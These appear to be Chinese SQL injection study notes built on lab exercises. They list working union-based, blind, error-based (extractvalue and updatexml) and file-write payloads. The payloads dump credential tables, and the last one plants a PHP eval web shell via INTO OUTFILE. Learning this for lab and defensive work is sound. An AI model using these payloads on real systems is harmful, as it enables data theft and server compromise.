天天看点

sql注入学习笔记基本手注盲注基于报错的注入写文件注入(需要写文件权限)

基本手注

  • 判断是否有注入如点
  1. and 1=1
  2. and 1=2// 判断是否有注入点

    判断返回字段数目

    1.order by 1

    2.order by 2

    。。。。。

  • 查看当前数据库名,查看版本号

    1.union select 1,database(),version(),4

    例如:

    http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,database(),version(),4

  • 爆数据库名
  1. union select 1,SCHEMA_NAME,3,4 from inforrmation_schema.SCHEMATA limit 0,1

    注:在MySQL数据库中information_schema库中,表SCHEMATA 中在SCHEMA_NAME字段中包含所有数据库名;

    sql注入学习笔记基本手注盲注基于报错的注入写文件注入(需要写文件权限)
    limit 0,1意思是从第0行起,取1行数据
  • 爆表名

    1.union select 1,2,TABLE_NAME,4 from information_schema.TABLES where TABLE_SCHEMA = ‘数据库名’

    数据库执行语句:select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ limit 1,1

注明:information_schema.TABLES 存放着表名

  • 爆破字段名称

    字段名在information_schema库COLUMNS表中,

    表的格式:

    sql注入学习笔记基本手注盲注基于报错的注入写文件注入(需要写文件权限)

    常用的表的字段:

    TABLE_SCHEMA //表所属库

    TABLE_NAME //表名

    COLUMN_NAME //字段名

    COLUMN_TYPE //字段类型

例如:

http://219.153.49.228:48509/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ and TABLE_NAME=‘StormGroup_member’ limit 0,1

  • 爆破字段内容

    查看当前表中有几条数据;

    count()

    例如:http://219.153.49.228:48509/new_list.php?id=1%20and%201=2%20union%20select%201,count(),3,4%20from%20mozhe_Discuz_StormGroup.StormGroup_member

    将数据拼接成字符串

    concat()

    例如:union select 1,concat(name,’-’,password,’-’,status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

盲注

sqli-labs 第五关为例

所用函数介绍

  • left(a,b) 表示的是从字符表达式最左边一个字符开始返回指定数目的字符.若 b 的值大于 a 的长度,则返回字符表达式的全部字符a.如果 b 为负值或 0,则返回空字符串.
  • right(a,b) 表示的是从字符表达式最右边一个字符开始返回指定数目的字符.若 b 的值大于 a 的长度,则返回字符表达式的全部字符a.如果 b 为负值或 0,则返回空字符串.
  • **substr()**函数 substr(字符串,截取开始位置,截取长度) //返回截取的字
  • **length()**函数 获取当前字符串的长度

基于报错的注入

所用函数

  • extractvalue()

    extractvalue():从目标XML中返回包含所查询值的字符串。

    EXTRACTVALUE (XML_document, XPath_string);

    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

    第二个参数:XPath_string (Xpath格式的字符串)

    concat:返回结果为连接参数产生的字符串。

    payloaod: and extractvalue(null,concat(0x7e,(select @@datadir),0x7e));

extractvalue注入的原理:依旧如同updatexml一样,extract的第二个参数要求是xpath格式字符串,而我们输入的并不是。所以报错。

  • updatexml()

    payload: select updatexml(1,concat(0x7e,(select user()),0x7e),1)

![在这里插入图片描述](https://img-blog.csdnimg.cn/20200219144858843.gif

写文件注入(需要写文件权限)

payload(所用函数outfile)

  • id=-1’)) union select 1,2,’<?php @eval($_POST["cmd"]); ?>'into outfile"/var/www/html/22.php";%23